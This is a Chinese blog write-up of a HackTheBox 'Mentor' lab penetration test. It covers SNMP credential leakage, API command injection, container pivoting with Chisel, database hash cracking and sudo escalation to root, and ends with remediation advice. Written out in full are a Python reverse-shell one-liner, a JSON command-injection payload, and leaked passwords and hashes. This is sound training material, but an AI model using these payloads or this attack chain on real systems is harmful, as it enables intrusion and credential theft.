HTB Mentor 渗透测试详细记录

你是慕鸢呀~ 发布于 20 天前 1 次阅读 3612 字 预计阅读时间: 16 分钟


HTB Mentor 渗透测试详细记录

摘要

本文详细记录了对 HTB Mentor靶机进行的渗透测试全过程。从初始侦察、服务探测到最终获取管理员权限,展示了一条完整的攻击路径。涉及多种攻击技术,包括端口扫描、协议分析、API攻击、容器逃逸和权限提升等,最终实现了从零权限到root权限的完整控制。

关键技术

  • Nmap 端口扫描与服务识别
  • SNMP服务探测与信息收集
  • 子域名爆破
  • API接口测试与JWT令牌分析
  • 命令注入漏洞利用
  • 容器环境下的信息收集
  • 代理隧道建立(Chisel)
  • PostgreSQL数据库访问与密码哈希破解
image-20250413050931177

1. 初始侦察阶段

首先,我们使用Nmap进行TCP端口快速扫描,探测目标主机开放的服务:

nmap -sT -min-rate 10000 -p- 10.10.11.193

参数说明:

  • -sT:进行完整的TCP连接扫描(相比SYN扫描更容易被检测但更准确)
  • -min-rate 10000:设置每秒发送的最小数据包数,加快扫描速度
  • -p-:扫描所有65535个端口
  • 10.10.11.193:目标IP地址

扫描结果显示两个开放的TCP端口:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

这表明目标机器开放了SSH服务和Web服务,为我们提供了初步的攻击面。

2. 服务探测与信息收集

2.1 深入的服务探测

使用Nmap的服务版本检测、默认脚本和操作系统检测功能进行更深入的探测:

nmap -sT -sC -sV -O -p22,80 10.10.11.193

参数说明:

  • -sC:使用默认的Nmap脚本进行扫描
  • -sV:探测服务版本信息
  • -O:尝试识别操作系统
  • -p22,80:只扫描这两个已知开放的端口

扫描结果提供了更多详细信息:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_  256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19

从结果中我们发现:

  1. SSH服务运行OpenSSH 8.9p1,主机可能是Ubuntu系统
  2. HTTP服务运行Apache 2.4.52,且存在重定向到http://mentorquotes.htb/域名

2.2 添加域名解析

由于检测到网站重定向到域名mentorquotes.htb,需要在本地hosts文件中添加解析:

echo "10.10.11.193 mentorquotes.htb" >> /etc/hosts

2.3 Web应用识别

使用whatweb工具收集网站指纹信息:

whatweb http://mentorquotes.htb

结果显示:

http://mentorquotes.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.3 Python/3.6.9], IP[10.10.11.193], Python[3.6.9], Title[MentorQuotes], Werkzeug[2.0.3]

这表明网站使用Python构建,使用Werkzeug 2.0.3作为WSGI服务器,Python版本为3.6.9。

2.4 目录枚举尝试

尝试使用各种工具进行目录和子域名枚举,但结果不理想:

feroxbuster -u http://mentorquotes.htb
gobuster dir -u http://mentorquotes.htb -w /usr/share/wordlists/dirb/common.txt
gobuster dns -d mentorquotes.htb -w /usr/share/wordlists/dnsmap.txt

2.5 UDP端口扫描

由于TCP端口扫描的结果有限,我们转向UDP端口扫描:

nmap -sU -min-rate 10000 -p- 10.10.11.193

参数说明:

  • -sU:使用UDP扫描模式(与TCP不同,UDP是无连接协议)

扫描结果发现了一个开放的UDP端口:

PORT    STATE SERVICE
161/udp open  snmp

SNMP(简单网络管理协议)是一个常用于网络设备管理的协议,通常包含敏感信息。

2.6 SNMP服务探测

下载并使用SNMP爆破工具进行社区字符串枚举:

git clone https://github.com/SECFORCE/SNMP-Brute.git
python3 snmpbrute.py -t 10.10.11.193

成功发现几个社区字符串:

Identified Community strings
    0) 10.10.11.193    internal (v2c)(RO)
    1) 10.10.11.193    public (v1)(RO)
    2) 10.10.11.193    public (v2c)(RO)
    3) 10.10.11.193    public (v1)(RO)
    4) 10.10.11.193    public (v2c)(RO)

使用snmpwalk工具获取SNMP信息树:

snmpwalk -v 2c -c internal 10.10.11.193 | tee snmpwalk.txt

参数说明:

  • -v 2c:使用SNMP版本2c
  • -c internal:使用社区字符串"internal"
  • tee snmpwalk.txt:将输出保存到文件

从SNMP中发现了敏感信息,疑似登录凭据:

iso.3.6.1.2.1.25.4.2.1.5.2131 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"

2.7 子域名探测

使用ffuf工具进行子域名爆破:

ffuf -u http://10.10.11.193 -H "Host: FUZZ.mentorquotes.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -mc all

参数说明:

  • -u:指定URL
  • -H "Host: FUZZ.mentorquotes.htb":在Host头中使用FUZZ占位符
  • -w:使用的字典文件
  • -fw 18:过滤掉包含18个单词的响应(避免误报)
  • -mc all:匹配所有状态码

发现一个子域名:

api                     [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 422ms]

将这个子域名添加到hosts文件:

echo "10.10.11.193 api.mentorquotes.htb" >> /etc/hosts

3. 漏洞识别与初始访问

3.1 API接口探索

对API子域名进行目录探测:

feroxbuster -u http://api.mentorquotes.htb --no-recursion --methods GET,POST

发现了几个API接口:

http://api.mentorquotes.htb/admin/
http://api.mentorquotes.htb/users/
http://api.mentorquotes.htb/quotes/
http://api.mentorquotes.htb/docs

其中只有/docs接口返回200状态码。通过访问这个接口,我们发现了用户名james和邮箱james@mentorquotes.htb。

image-20250413045930641

3.2 API身份验证测试

使用SNMP中发现的凭据尝试登录:

POST /auth/login HTTP/1.1
Host: api.mentorquotes.htb
accept: application/json
Content-Type: application/json
Content-Length: 106

{
  "email": "james@mentorquotes.htb",
  "username": "james",
  "password": "kj23sadkj123as0-d213"
}

成功获取了JWT认证令牌。

image-20250413030016060

3.3 访问管理员接口

尝试访问/admin/接口,但收到缺少Authorization头的错误:

HTTP/1.1 422 Unprocessable Entity
...
{"detail":[{"loc":["header","Authorization"],"msg":"field required","type":"value_error.missing"},{"loc":["header","Authorization"],"msg":"field required","type":"value_error.missing"}]}

添加Authorization头后重新请求:

GET /admin/ HTTP/1.1
Host: api.mentorquotes.htb
...
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
...

收到成功响应,显示了可用的管理功能:

HTTP/1.1 200 OK
...
{"admin_funcs":{"check db connection":"/check","backup the application":"/backup"}}
image-20250413031541343

3.4 利用命令注入漏洞

尝试用Get方法访问/admin/backup接口,需要使用POST方法并添加参数,构造完成的请求包如下,测试了一些别的字符,我发现,无论构造什么参数,都会返回完成,尝试进行命令执行:

POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Content-Type: application/json
Content-Length: 33

{"body":"test","path":"abc"}

需要找一些能够回显参数来验证命令执行,尝试反弹shell

先建立监听

nc -lvnp 9999

构造python反弹shell脚本,这个网站是python编写的,我确信使用python能够正常反弹shell,不会发生奇怪的问题

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.22",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

攻击载荷如下,有双引号的地方,要加上反斜杠转义

{"body":"test","path": ";python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.16.22\",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';"}

成功反弹shell,检查自己是root权限,但是,没有/root目录,在home目录找到/svc 拿到了key1

listening on [any] 9999 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.193] 48662
/app # ^[[34;8R 

/home/svc # ^[[34;13Rcat user.txt
cat user.txt
b8269727f67e6c3684d52be9cefe4d86

4. 横向移动

4.1 容器环境识别

通过ifconfig命令发现当前环境是一个容器,IP地址为172.22.0.3:

eth0      Link encap:Ethernet  HWaddr 02:42:AC:16:00:03  
          inet addr:172.22.0.3  Bcast:172.22.255.255  Mask:255.255.0.0
          ...

4.2 数据库凭据发现

/app目录中找到web应用的数据库配置文件,其中包含PostgreSQL凭据:

cat db.py

DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

4.3 建立网络隧道

下载并使用Chisel工具建立网络隧道,以访问容器外的PostgreSQL数据库:

  1. 在本地下载解压并启动http服务分享Chisel:
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz 
python -m http.server
  1. 在目标机器下载并运行Chisel客户端:
wget 10.10.16.22:8000/chisel
chmod 777 chisel
./chisel client -v 10.10.16.22:9000 R:5432:172.22.0.1:5432
  1. 在本地启动Chisel服务端:
apt install chisel
chisel server --port 9000 --reverse

4.4 数据库渗透

使用psql工具通过隧道连接数据库:

psql -h 127.0.0.1 -p 5432 -d mentorquotes_db -U postgres

从数据库中获取用户密码哈希值:

用户 postgres 的口令:
psql (17.4 (Debian 17.4-1+b1), 服务器 13.7 (Debian 13.7-1.pgdg110+1))
输入 "help" 来获取帮助信息.

mentorquotes_db=# \dt
                关联列表
 架构模式 |   名称   |  类型  |  拥有者  
----------+----------+--------+----------
 public   | cmd_exec | 数据表 | postgres
 public   | quotes   | 数据表 | postgres
 public   | users    | 数据表 | postgres
(3 行记录)

mentorquotes_db=# select * from users;
 id |         email          |  username   |             password             
----+------------------------+-------------+----------------------------------
  1 | james@mentorquotes.htb | james       | 7ccdcd8c05b59add9c198d492b36a503
  2 | svc@mentorquotes.htb   | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
(2 行记录)

在https://crackstation.net/,成功破解出svc用户的密码 123meunomeeivani

image-20250413043406322

4.5 SSH访问

使用破解出的凭据,通过SSH登录目标机器:

ssh svc@10.10.11.193

成功以svc用户身份登录到主机系统。

5. 权限提升前的信息收集

5.1 用户环境探索

查看目标系统的用户情况:

svc@mentor:/home$ ls -al
total 16
drwxr-xr-x  4 root  root  4096 Jun 10  2022 .
drwxr-xr-x 19 root  root  4096 Nov 10  2022 ..
drwxr-x---  3 james james 4096 Nov 10  2022 james
drwxr-x---  4 svc   svc   4096 Nov 11  2022 svc

发现系统中存在james用户。

5.2 SNMP配置检查

在最开始的信息收集阶段,这台主机上有snmp服务,检查一下snmp的配置文件,在这里/etc/snmp/snmpd.conf,寻找敏感信息:

cat /etc/snmp/snmpd.conf | grep -v "^#" | grep .

找到了一个敏感密码:

createUser bootstrap MD5 SuperSecurePassword123__ DES

6. 权限提升

6.1 用户切换

使用SNMP配置中找到的密码尝试登录root ,失败

尝试登录james 成功切换到james

su james

密码验证成功,成功切换到james用户。

6.2 Sudo权限检查

检查james用户的sudo权限:

sudo -l

结果显示james可以以root权限运行/bin/sh:

[sudo] password for james: 
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:
    (ALL) /bin/sh

6.3 获取Root权限

使用sudo执行sh命令,获取root权限:

sudo /bin/sh

成功获取root权限,并读取根目录下的flag:

# whoami
root
# cat /root/root.txt
347932fd20fe81203237ad65064ea686

7. 总结与安全建议

安全漏洞列表

  1. SNMP服务配置不当,使用弱社区字符串(internal、public)
  2. SNMP服务泄露敏感信息(登录凭据)
  3. API接口缺乏严格的输入验证,存在命令注入漏洞
  4. 数据库连接字符串硬编码在代码中
  5. 使用弱密码和重复使用密码
  6. 过度权限分配(james用户可以直接运行root shell)

详细修复建议

  1. SNMP安全加固
    • 禁用不必要的SNMP版本(特别是v1和v2c)
    • 使用强社区字符串或切换到SNMPv3
    • 限制SNMP访问源IP地址
    • 定期审计SNMP配置
  2. API安全加强
    • 实施严格的输入验证和参数清理
    • 使用参数化命令而非直接执行用户输入
    • 考虑使用特权分离和沙盒化技术
    • 实施正确的错误处理机制,避免泄露敏感信息
  3. 凭据管理改进
    • 避免在代码中硬编码密码和连接字符串
    • 使用环境变量或安全的凭据存储系统
    • 实施密码复杂度策略
    • 避免在不同系统间重复使用相同密码
  4. 权限管理优化
    • 实施最小权限原则
    • 细化sudo配置,避免分配全局root权限
    • 定期审计用户权限

预防类似问题的安全策略

  1. 安全编码实践
    • 实施安全代码审查流程
    • 使用静态代码分析工具识别常见漏洞
    • 为开发人员提供安全编码培训
  2. 配置管理
    • 使用配置管理工具确保一致的安全配置
    • 建立服务器加固基线
    • 定期审计系统配置
  3. 漏洞管理
    • 定期进行漏洞扫描和渗透测试
    • 建立漏洞响应和修复流程
    • 监控安全公告及时更新系统
  4. 凭据和访问管理
    • 实施集中式身份验证和授权系统
    • 定期轮换密码和访问凭据
    • 使用多因素身份验证
    • 审计和监控权限使用情况

8. 漏洞利用路径总结

完整攻击链路图

  1. 初始侦察:Nmap扫描发现开放的HTTP和SSH端口
  2. 漏洞发现:UDP扫描发现SNMP服务,通过SNMP泄露获取初始凭据
  3. 初始访问:使用获取的凭据登录API,利用命令注入获取容器内shell
  4. 横向移动:
    • 通过配置文件发现数据库凭据
    • 使用Chisel建立隧道访问数据库
    • 从数据库获取并破解密码哈希
    • 使用破解的密码通过SSH登录主机
  5. 权限提升:
    • 从SNMP配置文件获取另一个密码
    • 切换到james用户
    • 利用sudo权限获取root shell

各阶段关键点总结

  • 侦察阶段:全面的端口扫描(TCP和UDP)是发现隐藏入口点的关键
  • 信息收集:SNMP服务往往包含敏感信息,值得深入探索
  • 初始访问:API接口的命令注入漏洞提供了初始立足点
  • 横向移动:容器环境中的配置文件和网络隧道技术是突破网络隔离的关键
  • 权限提升:配置文件中的密码和过度权限分配是最终获取最高权限的关键

攻击向量简明展示

扫描发现SNMP服务 → SNMP泄露凭据 → API认证 → 命令注入获取容器shell → 
配置文件泄露数据库凭据 → 数据库访问获取密码哈希 → SSH登录 → 
SNMP配置泄露另一密码 → 切换用户 → 利用sudo权限获取root
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-04-13